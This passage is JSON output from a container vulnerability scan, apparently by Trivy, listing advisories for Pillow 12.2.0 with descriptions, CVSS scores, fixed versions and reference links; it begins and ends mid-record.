"https://github.com/advisories/GHSA-5x94-69rx-g8h2", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2", "https://linux.oracle.com/cve/CVE-2026-54060.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54060", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-54060" ], "PublishedDate": "2026-07-06T19:17:08.27Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-55379", "VendorIDs": [ "GHSA-45hq-cxwh-f6vc" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55379", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7d9583dcfaaf6efddaee0ee1b2b38cd6ac5481c4cbbef853e3caa1245a690447", "Title": "python-pillow: Pillow: Denial of Service via crafted BDF font file", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-55379", "https://advisory.echohq.com/cve/CVE-2026-55379", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-45hq-cxwh-f6vc", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc", "https://linux.oracle.com/cve/CVE-2026-55379.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-55379", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-55379" ], "PublishedDate": "2026-07-06T19:17:08.577Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-55380", "VendorIDs": [ "GHSA-phj9-mv4w-65pm" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55380", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e4f421dccc21611ca13f5bd0974fa964b19304dd62b48f25908b0c926843fa31", "Title": "python-pillow: Pillow: Denial of Service via crafted GD 2.x image file", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-55380", "https://advisory.echohq.com/cve/CVE-2026-55380", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-phj9-mv4w-65pm", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm", "https://linux.oracle.com/cve/CVE-2026-55380.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-55380", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-55380" ], "PublishedDate": "2026-07-06T19:17:08.703Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-59197", "VendorIDs": [ "GHSA-xj96-63gp-2gmr" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59197", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:02864c5420022d45e45c68a1ccaed5d937c7dfef72e3f384bec24efef873699a", "Title": "Pillow: Pillow: Native heap out-of-bounds write", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:48021", "https://access.redhat.com/security/cve/CVE-2026-59197", "https://advisory.echohq.com/cve/CVE-2026-59197", "https://bugzilla.redhat.com/2500043", "https://bugzilla.redhat.com/2500057", "https://bugzilla.redhat.com/show_bug.cgi?id=2500043", "https://bugzilla.redhat.com/show_bug.cgi?id=2500057", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54058", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59197", "https://errata.almalinux.org/8/ALSA-2026-48021.html", "https://errata.rockylinux.org/RLSA-2026:48021", "https://github.com/advisories/GHSA-xj96-63gp-2gmr", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1", "https://github.com/python-pillow/Pillow/pull/9695", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr", "https://linux.oracle.com/cve/CVE-2026-59197.html", "https://linux.oracle.com/errata/ELSA-2026-48021.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59197", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59197" ], "PublishedDate": "2026-07-14T17:17:14.487Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59199", "VendorIDs": [ "GHSA-6r8x-57c9-28j4" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59199", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e9db2d57592b8a7a212e3e046f6777a3f7a2eae696183219d4298267f4ddd5f5", "Title": "Pillow: Pillow: Denial of Service via out-of-bounds write in image processing", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59199", "https://advisory.echohq.com/cve/CVE-2026-59199", "https://github.com/advisories/GHSA-6r8x-57c9-28j4", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b", "https://github.com/python-pillow/Pillow/pull/9703", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4", "https://nvd.nist.gov/vuln/detail/CVE-2026-59199", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59199" ], "PublishedDate": "2026-07-14T16:17:01.937Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59200", "VendorIDs": [ "GHSA-jjj6-mw9f-p565" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59200", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a40a98d7e57a4406c7a4a44814f0fc739cbe40a4aa9b691c33d7c39ec91daa25", "Title": "Pillow: Pillow: Denial of service via crafted PDF stream", "Description": "Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59200", "https://advisory.echohq.com/cve/CVE-2026-59200", "https://github.com/advisories/GHSA-jjj6-mw9f-p565", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09", "https://github.com/python-pillow/Pillow/pull/9718", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565", "https://nvd.nist.gov/vuln/detail/CVE-2026-59200", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59200" ], "PublishedDate": "2026-07-14T17:17:14.62Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59204", "VendorIDs": [ "GHSA-vjc4-5qp5-m44j" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59204", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e13734e0ac51ff4e42112caaf21d9e591ee45094574a5122738b7ec8d0af2511", "Title": "Pillow: Pillow: Denial of Service via crafted JPEG2000 image", "Description": "Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789", "CWE-770" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59204", "https://advisory.echohq.com/cve/CVE-2026-59204", "https://github.com/advisories/GHSA-vjc4-5qp5-m44j", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca", "https://github.com/python-pillow/Pillow/pull/9704", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j", "https://nvd.nist.gov/vuln/detail/CVE-2026-59204", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59204" ], "PublishedDate": "2026-07-14T16:17:02.227Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59205", "VendorIDs": [ "GHSA-9hw9-ch79-4vh6" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59205", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:44a8ea23502b522e0274444fd20368e1b85fb37391e9d13e65aaff19bd051ecf", "Title": "Pillow: Pillow: Controlled native heap corruption in ImageCms.ImageCmsTransform.apply API", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59205", "https://advisory.echohq.com/cve/CVE-2026-59205", "https://github.com/advisories/GHSA-9hw9-ch79-4vh6", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721", "https://github.com/python-pillow/Pillow/pull/9715", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6", "https://nvd.nist.gov/vuln/detail/CVE-2026-59205", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59205" ], "PublishedDate": "2026-07-14T16:17:02.37Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-96637", "VendorIDs": [ "GHSA-g842-9rc4-69pw" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96637", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6448d18f7c6f5cb7c7fafd2283ab9f24f07051f6916947cf270f64c471f3bcc1", "Title": "pillow: pillow: Denial of Service via decompression bomb bypass in SPIDER images", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, SpiderImageFile.seek() in src/PIL/SpiderImagePlugin.py reparses a later SPIDER stack frame and replaces self._size without rerunning Image._decompression_bomb_check(). A tiny file can use a safe first frame to pass Image.open() and then declare very large dimensions in a later mode F frame. Loading that frame allocates approximately four bytes per attacker-declared pixel and can consume multiple gigabytes of memory. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-409" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96637", "https://advisory.echohq.com/cve/CVE-2026-96637", "https://getsafety.com/v/SFTY-20261022-38655/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841", "https://github.com/python-pillow/Pillow/pull/10076", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw", "https://nvd.nist.gov/vuln/detail/CVE-2026-96637", "https://www.cve.org/CVERecord?id=CVE-2026-96637" ], "PublishedDate": "2026-10-21T21:20:31.927Z", "LastModifiedDate": "2026-10-27T14:24:56.513Z" }, { "VulnerabilityID": "CVE-2026-96640", "VendorIDs": [ "GHSA-mrfp-p49p-3hf2" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96640", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:59887dad5611ae9f9b9244405283219a07274f98ac7047fa4e373bb2e5016992", "Title": "pillow: pillow: Denial of Service via duplicate page references in PDF files", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-407" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-96640", "https://advisory.echohq.com/cve/CVE-2026-96640", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", 